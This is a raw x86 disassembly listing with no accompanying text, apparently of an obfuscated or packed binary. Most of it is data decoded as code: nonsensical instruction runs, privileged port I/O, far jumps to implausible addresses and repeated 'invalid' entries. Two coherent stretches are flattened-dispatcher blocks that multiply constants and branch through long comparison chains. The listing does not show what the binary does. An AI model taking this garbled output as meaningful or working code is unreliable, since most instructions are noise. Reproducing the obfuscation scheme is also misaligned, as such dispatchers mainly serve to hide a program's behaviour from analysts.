add ch, byte [eax + 0x511b0bf0]
sub eax, 0x241dc9f
mov edx, 0x2b129aa5
cmp al, 0x46
rcl byte [eax + 0x61f1a28f], 0x34
bnd retf
sahf
jge 0x6e46a89a
outsb dx, byte [esi]
pop edx
and ah, ch
xchg byte [edi + 0x99b6277], ch
enter 0xffffffffffffab6f, 0x43
dec esi
sub dh, dh
dec ebp
sub eax, 0x593742e8
movsd dword es:[edi], dword [esi]
mov dh, 0x88
pop esi
loope 0x6e46a88f
mov ch, 0x3b
rcl byte [ebp - 0x1647fad9], 0xf5
jl 0x6e46a8e0
invalid
and bh, al
or dh, byte [esi + 0x11b79a1c]
xchg ecx, eax
paddw mm2, mm2
invalid
jge 0x6e46a875
out 0xea, eax
fisubr word [ebp + 5]
xchg ebp, eax
dec ebx
xchg esi, eax
add eax, 0x1f484ec7
wait
inc eax
ret
invalid
in eax, dx
mov bh, 1
inc ecx
add bl, byte [ecx]
mov cs, esp
out 0x7e, al
in al, 0
add bh, byte [0x9f709f7b]
sbb dword [edi], eax
hlt
dec ebx
or eax, 0x6be5d76d
cmp dword [ebx + ebx*8 - 0x4a], esp
retf 0xf243
fadd dword [ebx + edx*8]
cwde
jno 0x6e46bffd
inc ebx
jl 0x6e46bf64
mov dword [0xe53ad1f7], eax
cmp ah, ch
xchg ebp, eax
lea ebp, [ebx + esi*2 - 0x22eadcce]
pop esi
lcall 0x1004, 0x6aa39c5c
adc al, 0xb2
jp 0x6e46c033
push 0x1f031bc5
push edx
pop edi
push ebp
iretd
or eax, 0x6ec48931
outsb dx, byte [esi]
add dword [0x7f77f28d], 0xffffffeb
wait
mov byte [esi - 0x795ebe9e], al
arpl word [ecx], bx
std
scasd eax, dword es:[edi]
lea ebp, [ebx - 0x244f29c7]
sbb edx, esp
cmpsd dword [esi], dword es:[edi]
jno 0x6e46bfc7
sub al, 0x1a
fdivr st(6)
inc ebp
xchg edx, eax
dec edx
iretd
aas
into
xor ebp, 0x6768a99c
jbe 0x6e46c001
push ds
mov eax, dword [ebx + ebp + 0x472b27bd]
push eax
shr cl, 0x33
out 0x2a, eax
lds ecx, [ecx + ecx*4 - 0x66c8ea59]
xor al, 0xa7
invalid
nop
jmp 0x6e46d734
nop
mov eax, dword [section..bss]
mov edx, dword [ebp - 0x16c]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x94]
mov dword [esp], edx
call eax
sub esp, 8
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax], edx
jmp 0x6e4b1992
mov dword [ebp - 0x100], 0x20753
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0x108], 0x43ea7
mov dword [ebp - 0x104], 0
mov eax, dword [ebp - 0xfc]
imul eax, dword [ebp - 0x108]
mov edx, eax
mov eax, dword [ebp - 0x104]
imul eax, dword [ebp - 0x100]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x100]
mul dword [ebp - 0x108]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x110]
xor eax, 0x9c64e125
mov edx, dword [ebp - 0x10c]
xor edx, 8
or eax, edx
je 0x6e483ad3
mov edx, 0x9c64e125
mov eax, 8
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0xeb9ad
or eax, dword [ebp - 0x10c]
je 0x6e472136
mov edx, 0xeb9ad
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0xe7055
or eax, dword [ebp - 0x10c]
je 0x6e47968e
mov edx, 0xe7055
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0xa70bd
or eax, dword [ebp - 0x10c]
je 0x6e475026
mov edx, 0xa70bd
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x9da6a
or eax, dword [ebp - 0x10c]
je 0x6e480be6
mov edx, 0x9da6a
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x93d30
or eax, dword [ebp - 0x10c]
je 0x6e47ae06
mov edx, 0x93d30
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x8abd2
or eax, dword [ebp - 0x10c]
je 0x6e46f246
mov edx, 0x8abd2
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x860e5
or eax, dword [ebp - 0x10c]
je 0x6e4709be
mov edx, 0x860e5
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x8492d
or eax, dword [ebp - 0x10c]
je 0x6e47679e
mov edx, 0x8492d
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x7bef0
or eax, dword [ebp - 0x10c]
je 0x6e47c57e
mov edx, 0x7bef0
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x6d0f2
or eax, dword [ebp - 0x10c]
je 0x6e46dace
mov edx, 0x6d0f2
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x48a63
or eax, dword [ebp - 0x10c]
je 0x6e47f46e
mov edx, 0x48a63
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x3bfea
or eax, dword [ebp - 0x10c]
je 0x6e47dcf6
mov edx, 0x3bfea
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x149ca
or eax, dword [ebp - 0x10c]
je 0x6e4738ae
mov edx, 0x149ca
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x6e483ad6
mov eax, dword [ebp - 0x110]
xor eax, 0x86fd
or eax, dword [ebp - 0x10c]
je 0x6e48235e
mov eax, dword [ebp - 0x110]
xor eax, 0x1155c
or eax, dword [ebp - 0x10c]
je 0x6e477f16
jmp 0x6e483ad6
mov eax, dword [0x4c1fe54a]
in eax, 0x1f
dec esp
jbe 0x6e46dad0
sub dl, byte [edi]
jbe 0x6e46daf6
sahf
lahf
loop 0x6e46db10
lcall 0xe6ac, 0xf1b3e8b1
push ss
sub ah, bl
jge 0x6e46db0e
retf 0xb198
pushal
and al, 0xa0
jle 0x6e46db3c
adc byte [ecx + 0x68], ah
add dword [esi], 0xffffffdb
sub al, 0xce
out 0x4d, eax
mov edi, 0x466bca4d
nop
lahf
mov word [esi - 0x2a894919], cs
clc
mov fs, edi
mov dh, 0x76
aad 0xf8
cmc
invalid
mov dl, 0xef
dec esi
pop ebx
xchg ecx, eax
inc ebx
inc esi
inc bx
clc
jno 0x6e46db81
lds ecx, ss:[edx]
mov ecx, 0x594171e7
inc esi
adc al, 0xc3
and bl, byte [edi + 0x3e]
pushal
dec ebx
mov eax, 0x23ab8b2b
sbb al, 0x54
fcomp qword [ebp + 0x539e1f1a]
jmp 0x6e46db98
xchg esi, eax
fld qword [ebx - 0x79]
jl 0x6e46db54
invalid
lea edx, [ebx]
or byte [eax + 0x649c45cc], dl
cwde
and eax, 0x2fad9066
xor ah, byte [edx - 0x3b]
pop ebp
and dword [esi - 0x62], ebx
lds eax, [ebx - 0x4b98e095]
imul ebx, dword [ebp - 0x40], 0xa6973116
invalid
cld
push esi
add bh, byte [edi + 0x5afadd83]
cmpsd dword [esi], dword es:[edi]
add eax, 0xd94cdcbc
sbb edx, 0x11
sub bh, byte [edx + 0x78]
xlatb
sub eax, 0x803520bc
frstor dword [esi]
sar dh, cl
sub byte [edi], 0xee
xchg edx, eax
stosb byte es:[edi], al
out 0xd1, al
in al, 0x1a
mov dword [0x9a4b4a50], eax
ret 0xb4b6
xchg ebx, eax
mov eax, dword [0xc1eda981]
sti
push eax
popal
popfd
adc al, 0xd7
cmpsb byte [esi], byte es:[edi]
mov ebp, 0x4a2c856f
xchg esp, eax
dec ecx
push esp
test dword [eax + 0x2a], esi
sahf
xor byte [esi], ah
dec ecx
sub ebx, edi
sub esp, dword [edx + 0x61]
xchg esp, esi
xchg ebp, eax
mov bl, 0xf0
iretd
mov word [ecx], gs
or esp, dword [ebx + esi]
cmp esi, dword [edx - 0x29]
lodsb al, byte [esi]
out dx, eax
hlt
invalid
stosd dword es:[edi], eax
adc dword [ecx + 0x50], 0x75
jecxz 0x6e47506d
sal ebx, 1
cmc
or ecx, dword [edx + 0x2ff3c17a]
pop es
wait
xchg edx, eax
inc ebx
not dword [edi + esi + 0x23fdab96]
nop
int3
xor eax, 0xf17656b3
mov byte [0x5c75decc], 0x85
scasd eax, dword es:[edi]
sbb eax, 0x2401c185
and eax, ebx
mov eax, 0x2f1d1b6b
add dword [ecx], esp
and al, 0x21
fdivr dword [eax + 0x2f1d1b6b]
jno 0x6e475003
and edx, dword [eax + 6]
jge 0x6e475037
jmp 0x6e475036
mov edi, 0xdfac26c5
push ebp
aaa
dec ebx
cmp byte [eax + 0x4d], cl
pop eax
xchg ecx, eax
je 0x6e47508d
xor eax, 0x17374723
out 0x30, al
adc al, 0xf8
mov dh, 0x55
js 0x6e4750f9
dec eax
jle 0x6e4750db
movsd dword es:[edi], dword [esi]
or ebx, ecx
sal dword [ebx + 0x5d], 1
cld
scasb al, byte es:[edi]
cmp ebx, esp
ret 0xf703
int1
or eax, 0xad9a9aac
sti
ret
mov dh, 0xa9
out dx, eax
arpl word [edi + esi*4 - 0x1b], dx
inc eax
out dx, eax
invalid
sub dword [edi - 0x36], 0xdb3ca3fe
out dx, al
mov ebx, 0x48cd13b9
mov edi, 0x72e99402
xor dh, 0xd4
mov edi, cs
lds edi, [esi]
test al, 0xbb
scasb al, byte es:[edi]
adc dword [ebx], esp
mov ebx, 0x3ba79cad
ror byte [ebx - 0x343356c9], cl
aam 0xc5
add dword [ebp - 0x70], edi
int3
dec esi
mov ch, 0x74
mov dword [0xc20740b2], eax
jl 0x6e476801
insb byte es:[edi], dx
popfd
aam 0x1b
enter 0x3809, 0x45
push eax
sahf
out 0xaa, al
loopne 0x6e476769
push edi
sub edx, dword [edx - 0x5dcb4c61]
outsd dx, dword [esi]
xchg cl, ch
push edi
and dl, byte [ebp + 0x1a810643]
mov eax, dword [0xd56f891f]
adc eax, 0xf29be512
inc ebp
invalid
mov ebx, ebx
mov bl, byte [ebx - 0x6e]
mov edi, 0x6440fdf0
inc bl
mov dl, 0x63
push es
mov dword [0x210afcf5], eax
mov dl, 0xaf
add eax, 0x77f1070c
sub eax, 0x65c5333a
int1
out dx, al
and dh, al
movsb byte es:[edi], byte [esi]
inc eax
jae 0x6e476890
invalid
sub eax, 0xa8465dbb
iretd
xor eax, 0x73838e6e
jmp 0x2ecc2f1a
sbb ch, bh
sub esp, 0x11
retf 0xdef7
dec ebx
sub dword [eax + 0x5b4d98ac], ecx
xchg edi, eax
push cs
and dl, byte [esi + 0xb0a0c97]
test ecx, edx
and eax, 0x3ec25a00
leave
add byte [edx - 0x3e], bl
leave
pop esp
push edx
fdivr qword [edx + 0x332f80fd]
xor al, ah
xor dl, byte [esi - 0x737605ea]
xlatb
mov al, byte [0x9fb269e4]
xor esp, eax
inc ecx
cwde
mov ebp, 0xc086c2e4
inc esi
out dx, eax
add al, 0x60
jmp 0x6e479684
push ebx
jbe 0x6e4795ed
movsd dword es:[edi], dword [esi]
cli
pop edi
jp 0x6e4796a0
push ss
inc edx
inc ecx
jbe 0x6e479610
mov al, byte [0x4a53238c]
int3
test al, 0x5b
nop
int3
jecxz 0x6e479622
push 0x3446d6c8
jnp 0x6e479665
stc
iretd
lodsd eax, dword [esi]
bound esi, qword [esi - 0x72]
je 0x6e4796ab
jmp 0x6e47971d
xchg ebp, eax
neg byte [ebx]
out dx, al
sbb ecx, ecx
fisttp qword [0x6fdbaff8]
mov ecx, 0xa5feec4d
cmp ah, byte [eax]
and eax, 0x85b40086
pop esp
xor dh, byte [ebx + 0x2b70c85b]
test eax, 0x1ecdffa
dec ebp
inc esi
retf 0x5890
push es
iretd
outsd dx, dword [esi]
jnp 0x6e47ae36
outsb dx, byte [esi]
mov dword [ebp - 0x3bea91b4], edi
or edx, eax
pushfd
cmc
adc eax, ebx
adc edi, dword [ebx + eax*2 - 0x18]
xor al, 0x11
pop edi
or byte [edi + 0x4b], ch
dec esp
std
das
jns 0x6e47aea6
sub al, 0x45
push ss
push 0x802495a
xor esp, eax
inc eax
mov dword [esp + ebp + 0x8528fd2], eax
mov al, dh
mov al, byte [0xdb6bb0b4]
xchg dword [0x380fd823], esp
add dword [edx + 0x26], ebp
add eax, 0x9d8b7606
inc ebp
movsb byte es:[edi], byte [esi]
pushfd
fmul st(1), st(0)
invalid
sub al, 0xd2
invalid
xor ecx, dword [esi - 0x41]
ljmp 0x9018
or al, dh
in al, dx
pop ebp
xor al, 0xe6
mov ah, 1
mov eax, edx
jbe 0x6e47c5c0
mov byte [eax + eax*4 - 0x6fef712e], bh
invalid
arpl dx, cx
jno 0x6e47c635
xchg esi, eax
out 0x8e, al
adc cl, byte [edi + 0xd]
stc
ljmp 0x77ea
mov edi, 0xeec5d19d
popal
and dword [esi - 0x3b], esi
mov esp, 0xf2e787de
enter 0x1ef7, 0x36
xchg edx, eax
push 0xcc90ad2d
inc ebx
pushfd
dec ebp
and cl, byte [edx + 0x6e]
pushfd
jecxz 0x6e47c664
int 0x78
cmp ah, byte [ecx + ebx*8]
jo 0x6e47c6cc
invalid
mov al, byte [0xbf480a48]
pop esi
xchg edi, eax
adc bh, dl
fnstcw word [ebx - 0x12]
arpl word [esi + 0x154f172e], ax
salc
or al, 0xf9
jmp 0x23eb87f6
loopne 0x6e47c6ef
sub byte [edi - 0x29b0516b], dl
inc esp
nop
invalid
into
sti
ret 0x9b42
mov edi, 0x9b5e51bb
mov word [ebp + 0x2ceb139b], fs
push edx
wait
imul dword [ecx + 0x26]
salc
cmpsd dword [esi], dword es:[edi]
in eax, dx
cmp dword [ebx + 0x448e3487], edx
daa
nop
sub al, 0x88
test dword [edi], ecx
xor esi, esp
cdq
dec eax
push ecx
jb 0x6e47dd3d
test dword [esi + 0x2c], 0x677996a9
cmp bh, dh
xchg edi, eax
pop ds
invalid
out dx, al
and al, 0xf8
or eax, 0x467cc86e
or dword [ebx], ecx
mov ah, 0xaa
or byte [0xbc56e09f], dl
mov edi, 0x86a6ba37
aaa
mov ebp, 0x781a1d23
mov bl, 0x81
retf 0xfa47
pop ecx
cld
wait
cmpsd dword [esi], dword es:[edi]
scasd eax, dword es:[edi]
jmp 0xedf1bacc
jno 0x6e47f3cf
mov edx, 0xb64a7911
cmp dword [esi - 0x13], 0xcf2f4329
neg dword [ecx + esi*2]
pushfd
sub byte [ebx], cl
wait
sbb al, 0x2e
xlatb
invalid
arpl word [edx], cx
push esp
fistp qword [eax + 0x4be953bb]
or dword [edi], ecx
adc dword [ecx - 0x2e], eax
dec ecx
test dword [edi - 0x27], edi
inc bx
inc ecx
inc eax
clc
push edx
stc
out 0xcf, eax
sub byte [ebx - 0x4360eab0], 0x5d
sub byte [0x1d926669], al
stosd dword es:[edi], eax
push eax
adc eax, 0x285dbc9f
add eax, 0x1d926669
jno 0x6e47f4c0
ja 0x6e47f42b
add ebp, ebx
inc ecx
push es
jo 0x6e47f4d6
adc al, 0x3b
ret 0xceab
jg 0x6e47f4f1
dec esi
stosd dword es:[edi], eax
xor al, 0x75
dec ebp
lodsb al, byte [esi]
dec esp
movsd dword es:[edi], dword [esi]
mov ebx, ecx
mov esi, dword [eax - 0x2f6b5cbb]
bound ecx, qword [edx - 0x556aca42]
xchg ebp, eax
stosb byte es:[edi], al
inc esi
int 0xe9
jl 0x6e47f48b
xor dword [edx - 0x3f15eb36], 0xffffffb1
rol edx, 0x89
jle 0x6e47f533
push eax
pop ecx
jp 0x6e47f560
movsd dword es:[edi], dword [esi]
cmp byte [esi], 0x9e
lea edi, [eax + 0x4e152d42]
add dword [ecx], ecx
or dword [esi], 0x6f948e4c
xor cl, byte [ebp + 8]
push ebx
inc ebp
xchg ecx, eax
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
xor byte [ecx], dl
xchg ebx, eax
add eax, 0x5fca6db2
test esp, esi
add eax, 0xef4f5e53
pop edx
invalid
jl 0x6e47f539
test eax, 0x8bf3bf1a
pop esp
nop
int3
mov ebx, dword [eax + edx*4 - 0x34]
stosb byte es:[edi], al
inc ebx
invalid
cld
dec ecx
adc dword [eax], 0xffffffaf
cmp esi, ebp
mov edi, 0xbff6fe64
invalid
cwde
push esi
or byte [esi], 0xd5
ret
dec eax
pop edx
push 0xd87f8ed
jbe 0x6e482390
jmp 0x6e4823a1
sal byte [edx], cl
or edx, esp
rcl byte [edi + eax*8 + 0x6b]
push edx
loope 0x6e4823fd
bound ebp, qword [edx - 0xb938b8a]
pop edx
stosb byte es:[edi], al
jbe 0x6e482412
insb byte es:[edi], dx
hlt
dec edi
pop ebp
mov dh, 0x99
inc ebx
wait
pop ds
and dword [edx], 0x28f313a5
push ebx
xchg esi, eax
jecxz 0x6e48239a
push ss
sub bh, byte [0x2eb2e668]
cmp ebx, esp
pop ds
fldenv [si - 0x27]
bound ebp, qword [ebx - 0x2a736419]
push esi
sbb byte [ecx - 0x13], cl
sal byte [eax + eax*2], 0x1f
or al, 0xe
cmp al, 0x2b
add esp, esi
out dx, al
test eax, 0x953a996e
dec ebp
imul ebp, dword [ebx], 0xfffffff0
sbb byte [ebx], ch
adc byte [ebx + 0x25623abf], 0xc7
test dh, dh
mov dh, 0xbf
cli
dec edi
inc eax
neg dword [eax + edi]
sbb dword [edi + 0x6f], ecx
or dword [ebx - 0x344dc995], ecx
mov dl, 0xcb
jmp 0xa5e9f3a7
fcomp dword [edi - 0x72]
loope 0x6e4823fa
fnstcw word [ebx]
jns 0x6e482457
retf
xor al, 0x33
sub dh, byte [ebx - 0x4e5ad490]
and al, 0xf8
pop ebx
iretd
nop
jmp 0x6e483ad7
nop
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov edx, dword [0x6e93d024]
add eax, edx
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x120], 0x5ed87
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x128], 0x69ac0
mov dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x128]
mov edx, eax
mov eax, dword [ebp - 0x124]
imul eax, dword [ebp - 0x120]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x120]
mul dword [ebp - 0x128]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x130]
xor eax, 0x267f5b40
mov edx, dword [ebp - 0x12c]
xor edx, 0x27
or eax, edx
je 0x6e499e60
mov edx, 0x267f5b40
mov eax, 0x27
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0xcc9bd
or eax, dword [ebp - 0x12c]
je 0x6e4884c3
mov edx, 0xcc9bd
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0xa976e
or eax, dword [ebp - 0x12c]
je 0x6e486d4b
mov edx, 0xa976e
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0xa1e74
or eax, dword [ebp - 0x12c]
je 0x6e494083
mov edx, 0xa1e74
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x8c171
or eax, dword [ebp - 0x12c]
je 0x6e48fa1b
mov edx, 0x8c171
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x82c75
or eax, dword [ebp - 0x12c]
je 0x6e4855d3
mov edx, 0x82c75
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x7fe87
or eax, dword [ebp - 0x12c]
je 0x6e48e2a3
mov edx, 0x7fe87
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x7df4a
or eax, dword [ebp - 0x12c]
je 0x6e49290b
mov edx, 0x7df4a
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x76ade
or eax, dword [ebp - 0x12c]
je 0x6e48cb2b
mov edx, 0x76ade
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x6c38b
or eax, dword [ebp - 0x12c]
je 0x6e48b3b3
mov edx, 0x6c38b
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x58ef4
or eax, dword [ebp - 0x12c]
je 0x6e491193
mov edx, 0x58ef4
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x5750e
or eax, dword [ebp - 0x12c]
je 0x6e483e5b
mov edx, 0x5750e
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x55845
or eax, dword [ebp - 0x12c]
je 0x6e4986eb
mov edx, 0x55845
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x4a7e2
or eax, dword [ebp - 0x12c]
je 0x6e496f73
mov edx, 0x4a7e2
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e499e63
mov eax, dword [ebp - 0x130]
xor eax, 0x4f0a
or eax, dword [ebp - 0x12c]
je 0x6e4957fb
mov eax, dword [ebp - 0x130]
xor eax, 0x6d63
or eax, dword [ebp - 0x12c]
je 0x6e489c3b
jmp 0x6e499e63
popal
fist word [edi - 0x7c]
scasd eax, dword es:[edi]
add dword [esi + 0x39bfe41b], eax
frstor dword [eax + 0x35]
push edi
test byte [edi - 0x1be479ff], ch
mov edi, 0x3560dd39
inc esi
or al, 0x73
fstp xword [edx + 0x45fe07cd]
jns 0x6e483e5d
cld
xchg esi, eax
outsb dx, byte [esi]
rol esi, 0xad
lds edi, [edi*8 + 0x5cf3f131]
lcall 0xaf01, 0x82ee02f0
push cs
sub dword [esi], ebx
invalid
imul esp, dword [edi], 0x48
and eax, 0x2ccbbe7
insb byte es:[edi], dx
inc eax
ljmp 0x9cd7
sbb byte [edi + 0x20], ch
push 0xffffffffffffff8b
mov ecx, dword [ebp + ebp*8 + 0x2b349af9]
dec eax
inc edi
sbb dh, cl
sub bl, cl
std
mov dword [0xe2f686f2], eax
invalid
dec eax
sbb dword [ebp + 1], edi
jge 0x6e4884c8
stosb byte es:[edi], al
inc ebx
adc dword [esp + ebx*8], ecx
mov dh, byte [edi + 0x76]
mov byte [0xfed03d5d], al
sti
sbb dword [esp + ebx*2 - 0x6c67879], edi
mov ebp, dword [edi - 0x10]
test al, 0x36
xlatb
test byte [ebx], 0xa3
cmp al, 0x69
mov cl, 0x5f
xor ah, byte [edi]
bound esi, qword [eax]
push esp
inc ecx
adc eax, 0x552619e3
ja 0x6e4884c5
push edi
xlatb
sbb ecx, dword [ebp - 0xfd9a75a]
add al, 0x92
sahf
xor dword [ecx - 0xd], ecx
fmul qword [edx - 0x17]
mov eax, dword [0xab54c590]
scasb al, byte es:[edi]
mov bl, 0xa6
cmpsb byte [esi], byte es:[edi]
cdq
xchg ebx, eax
fisubr word [ebx]
and eax, 0x8c2d34e1
inc edi
neg ah
insb byte es:[edi], dx
sub byte [edi], cl
jnp 0x631fece9
mov byte [0x2f56f1b4], 0x78
xchg esi, eax
cmpsd dword [esi], dword es:[edi]
loop 0x6e48850f
sbb dh, bl
cmp bl, byte [edx + 0x1a]
mov ebp, 0xfb5eb5d9
push esp
cdq
test byte [ecx], ch
adc bh, byte [ecx]
push 0xffffffffffffffdf
xor dword [edi], 0x51
add eax, 0xae9774d6
inc edi
test eax, 0xba7c4715
pop ds
mov dh, 0x46
pop edi
int1
je 0x6e488530
mov eax, ebp
sub bh, byte [ecx]
xor al, 0x18
ljmp 0x3754
mov ebx, 0xeb9115ee
cli
invalid
rcl byte [ecx - 0x11], cl
xchg ebx, eax
call 0x5e451f87
sbb ebp, dword [ebx + 0xe]
jg 0x6e48b3b8
retf
inc edi
mov al, 0xc6
push es
inc edx
sub dword [ecx + ebp*8], ebp
inc edi
jg 0x6e48b420
xor ah, byte cs:[ebx]
shr dword [edx + 0x45], 1
rol byte fs:[eax + 0x5c], cl
fimul dword [ebx - 0x7e]
mov al, 0x8c
sbb eax, 0x50b95766
dec ecx
xor al, 0x53
mov ecx, 0x53344950
pop esi
sbb bh, byte [edx + 0x5e8117f0]
mov al, 0xe4
jbe 0x6e48b461
sbb al, 0xba
sub al, 0x96
outsb dx, byte [esi]
cmp al, 0x98
jno 0x6e48b3e0
invalid
sub dword [ecx - 0x5a9c7e46], esp
stc
ret
imul ecx, dword cs:[esi], 0xffffff9e
shl byte [edi], 0xc0
test byte [esi - 0x13], al
xchg ebx, eax
shl byte [esi + 0x51], 1
stosb byte es:[edi], al
scasb al, byte es:[edi]
cmp cl, byte [ebx + edi - 0x5c]
push ds
rcl cl, 0xb9
inc ebp
pushfd
or dword [ebp - 0x336fb346], esi
insb byte es:[edi], dx
stosb byte es:[edi], al
xor byte [esi - 0x78e432e1], dh
invalid
ljmp 0x76d8:0x6cd1aad7
push eax
cmpsb byte [esi], byte es:[edi]
ret
xor esi, 0xd83b294b
mov ecx, 0xaa90f8ce
mov ah, 0x17
scasb al, byte es:[edi]
or byte [edx], dh
cmp byte [eax - 0x4854f845], 0x2b
adc eax, 0x7d45c0d9
scasd eax, dword es:[edi]
clc
sub dword [0xf7740235], ecx
jmp 0xf6bf8bc6
sub eax, 0x46ea15c5
sub byte [edx - 0x29d686bc], cl
jns 0x6e49116e
salc
sub esi, dword [edi - 0x18]
add ch, ch
adc ah, byte [edi + 0x78]
adc eax, 0xe1ca42c
cld
enter 0xffffffffffffa87b, 0xffffffffffffffb4
add eax, 0x551d820c
xchg edx, eax
pop edx
fidivr word [edi + 0x3e]
stosb byte es:[edi], al
sub al, 0x4e
add cl, byte [edi + 0x7eacc979]
dec ebp
jp 0x6e49113b
mov edi, 0x5b13e758
push ds
and dword [eax], edx
xor al, byte [ecx]
ja 0x6e4911cb
and cl, bl
jb 0x6e49119c
pop edx
sahf
or al, 0x7b
cmp edi, dword [edi + 0x79]
pop ebx
pop ss
xlatb
mov byte [0xcc901f92], al
jmp 0x6e499e64
bound ebx, qword [edi - 0x62315bdb]
mov ebx, 0x643df511
adc al, 0x37
adc dword [ecx], 0xffffffa3
jno 0x6e491143
cmp eax, 0x83371464
adc dword [ebx + 0x23b79e71], esp
mov bh, 0x23
ror byte [edx + 0x70], cl
scasd eax, dword es:[edi]
loop 0x6e491200
jns 0x6e491218
jmp 0xb629d00a
and esp, dword [ecx + 0x14f0d27c]
invalid
retf
adc eax, 0x3ad23095
adc dword [0x5b911dde], ecx
xchg ebp, eax
xor dl, dl
cmp dl, byte [ecx]
or eax, 0x5b911dde
jbe 0x6e4911ad
jg 0x6e49120a
setno bh
push eax
mov ah, 0x42
dec edx
leave
xchg ch, ch
outsd dx, dword [esi]
mov edi, 0x98aba7f7
jbe 0x6e491299
aas
push esp
cmp al, 0x82
sar edx, cl
cmc
jp 0x6e49122b
xor eax, dword [esi + 0x51]
push es
test eax, 0xa82c92f6
cmp eax, ecx
and esp, ebx
adc byte [ecx + edi*2], bl
sub al, 0x8c
fdiv st(2)
xchg ecx, eax
sbb ebx, edx
jle 0x6e491209
leave
adc esp, edi
xchg byte [ebp - 0x4df17406], bh
adc eax, 0x9427847c
dec ebp
ret
lds esp, [edx + 0x54]
jge 0x6e491220
push eax
pop ebx
inc edx
sub edx, esi
adc al, byte [ebp + 0x27]
shl byte [ebp + 0x5f80c0d7], 1
pushfd
jle 0x6e491314
scasd eax, dword es:[edi]
